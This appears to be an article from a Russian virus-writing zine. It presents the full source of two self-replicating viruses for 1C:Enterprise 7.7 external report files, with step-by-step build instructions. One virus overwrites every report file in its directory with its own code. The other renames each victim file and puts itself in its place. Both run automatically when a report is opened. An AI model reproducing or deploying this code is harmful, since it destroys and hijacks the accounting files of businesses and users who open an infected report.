/*-----------------------------------------------------------------------*/
/* R I N G 0, I S S U E # 1 */
/*-----------------------------------------------------------------------*/
Первые вирусы для 1С:Предприятие 7.7
by BKNY0NNX // SBVC
Я достаточно долго занимался созданием баз данных, т.к. они приносят
пользу людям, и в первую очередь мне - в виде зелёных и деревянных ;) Ну
а сейчас на рынке бухгалтерских программ монополию держит 1С:Предприятие
и 1С:Бухгалтерия, вот я и решил на них посмотреть. В них есть достаточно
развитый язык программирования, что позволяет писать вирусы. И я решил
их написать. Данные вирусы представляют из себя внешние
отчеты(обработки) и заражают тоже внешние отчеты(обработки).
Вот некоторые возможности(особенности) языка, которые стоит
использовать:
1. Внутренний язык сродни Basic'у, ну а в следующих версиях программ
возможна вставка VBA; Язык объектно-ориентированный - используйте
объекты ;);
2. Есть события(как в MS Office;)) - обычные процедуры, но со
специальными именами - ПриОткрытии и пр.;
3. Для операций с файлами используйте объект "ФС" - файловая система;
4. Для получения имени вирусного файла используйте
РасположениеФайла(x,y)
Эти вирусы работают на 1С:Предприятие 7.7,а на других версиях не
тестировались. Возможно переползание 7.5 ---> 7.7 и 7.7 ---> ?.?, если
только не изменится язык.
Как использовать:
1. В Конфигураторе 1С:Предприятие 7.7 создать новый внешний отчёт;
2. В модуль кода ("Модуль") ввести исходник вируса;
3. Сохранить.
Эти вирусы поражают все внешние отчёты в текущем каталог: Trivial.1Cv77
перезаписывает тело жертвы; Companion.1Cv77 переименовывает жертву, а
сам записывается вместо неё(жертвы).
===================[BEGIN Trivial.1Cv77]================================
Процедура ПриОткрытии()
// Trivial.1Cv77 by BKNY0NNX
Перем МоёИмя;
Перем МойПуть;
РасположениеФайла(МойПуть, МоёИмя);
МоёИмя = МойПуть + МоёИмя;
МояФСО = СоздатьОбъект("ФС");
ИмяФайла = МояФСО.НайтиПервыйФайл(МойПуть + "*.ert");
Пока ИмяФайла <> "" Цикл
Если МойПуть + ИмяФайла <> МоёИмя Тогда
МояФСО.КопироватьФайл(МоёИмя, МойПуть + ИмяФайла, 0);
КонецЕсли;
ИмяФайла = МояФСО.НайтиСледующийФайл();
КонецЦикла;
ЗавершитьРаботуСистемы(0);
КонецПроцедуры
===================[END Trivial.1Cv77]==================================
=================[BEGIN Companion.1Cv77]================================
Процедура ПриОткрытии()
// Companion.1Cv77 by BKNY0NNX
Перем МоёИмя;
Перем МойПуть;
РасположениеФайла(МойПуть, МоёИмя);
МоёИмя = МойПуть + МоёИмя;
ИмяЖертвы = МоёИмя + ".ert";
МояФСО = СоздатьОбъект("ФС");
ИмяФайла = МояФСО.НайтиПервыйФайл(МойПуть + "*.ert");
Пока ИмяФайла <> "" Цикл
Если (МойПуть + ИмяФайла <> МоёИмя) И (Найти(ИмяФайла, ".ert.ert") = 0) Тогда
МояФСО.ПереименоватьФайл(МойПуть + ИмяФайла, МойПуть + ИмяФайла + ".ert", 1);
МояФСО.КопироватьФайл(МоёИмя, МойПуть + ИмяФайла, 1);
КонецЕсли;
ИмяФайла = МояФСО.НайтиСледующийФайл();
КонецЦикла;
ОткрытьФорму("Отчет", , ИмяЖертвы);
Форма.Закрыть(0);
КонецПроцедуры
=================[END Companion.1Cv77]==================================
Автор: BKNY0NNX // SBVC
Siberian Bears Virus Club [SBVC]